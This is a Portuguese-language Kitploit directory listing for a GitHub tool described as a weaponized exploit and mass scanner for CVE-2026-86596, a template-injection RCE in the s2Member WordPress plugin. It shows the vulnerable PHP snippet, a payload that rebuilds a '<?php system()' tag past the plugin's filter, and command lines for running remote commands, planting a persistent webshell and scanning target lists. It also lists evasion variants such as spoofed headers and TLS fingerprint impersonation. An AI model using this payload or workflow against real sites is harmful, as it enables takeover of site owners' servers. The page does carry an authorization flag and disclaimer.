Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-86596 — Scanner de exploit único arquivo e de varredura em massa para CVE-2026-86596, uma RCE por injeção de template no s2Member através do parâmetro item_name do PayPal IPN, com variantes de bypass e implantação de webshell. | Kitploit
Ferramentas/GitHubGitHub/aureels/cve-2026-86596
ReconhecimentoScanners de VulnerabilidadesGeração de PayloadsExploraçãoEvasão de IDS/IPSExploração de Aplicações WebSegurança WebComando e ControleFerramenta de Acesso RemotoFalsificação de Impressão Digital
GitHub
511há 11h 26mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
aureels/cve-2026-86596

CVE-2026-86596

Scanner de exploit único arquivo e de varredura em massa para CVE-2026-86596, uma RCE por injeção de template no s2Member através do parâmetro item_name do PayPal IPN, com variantes de bypass e implantação de webshell.

Ver Repositório
Compartilhar

CVE-2026-86596 - s2Member <= 260927 RCE Armado

CVSS 9.8 | CVE-2026-86596 | Correção: 261001+

Exploit armado e scanner em arquivo único para injeção de template no s2Member via parâmetro IPN item_name.

Vulnerabilidade

$paypal = strip_php_tags_deep($paypal);           // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Removes %%x%% -> reassembles <?php

Payload: <%%x%%?php system('id'); ?> → contorna strip_php_tags_deep, remontando para um <?php válido após a limpeza dos placeholders.

Uso

# Single target RCE
python3 poc.py target.com --cmd "id" --authorized

# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Opções

FlagDescrição
--cmd "id"Comando a executar (ou shell:pass para webshell)
--scanModo de varredura em massa (lê alvos do arquivo)
--exploitTenta explorar durante a varredura
--authorizedOBRIGATÓRIO para qualquer ação de exploração
--reconReconhecimento completo antes da exploração
--item-numberitem_number específico (padrão: descoberta automática)
--proxy-verificationChave s2member_paypal_proxy_verification
--write-testGrava arquivo de teste em vez de executar comando
--deploy-shellImplanta webshell persistente
--shell-pathNome do arquivo da webshell (padrão: shell.php)
--full-bypassTenta TODAS as variantes de contorno (lento)
--no-evasionDesativa todas as tentativas de contorno
--threads NThreads de varredura (padrão: 15)
--output fileSaída JSON/CSV
--http-proxyProxy HTTP(S)
--impersonateImpressão digital TLS: chrome/firefox/safari/edge
--insecureDesativa a verificação TLS
--verboseSaída detalhada

Matriz de Contorno

CamadaVariantes
Payload10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Escrita4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
Shell5: eval, system, assert, b64_eval, shortcode
Requisição5: form, multipart, dup, multipart-dup, JSON
Cabeçalhos7: XFF spoof, PayPal referer/origin, IPN headers, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

Requisitos para RCE ao Vivo

  • s2Member <= 260927
  • item_number válido (ID de post/página protegido)
  • Verificação de IPN do PayPal (sandbox ou chave de verificação de proxy)
  • Sink de template: do_shortcode() / [s2If php=...]

Arquivos

/root/labv/
├── poc.py        # Single weaponized exploit + scanner (384 lines)
├── README.md     # This file
└── targets.txt   # Example target list

Referências

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

Legal

APENAS PARA TESTES AUTORIZADOS. A flag --authorized confirma permissão por escrito.

Baixar ferramenta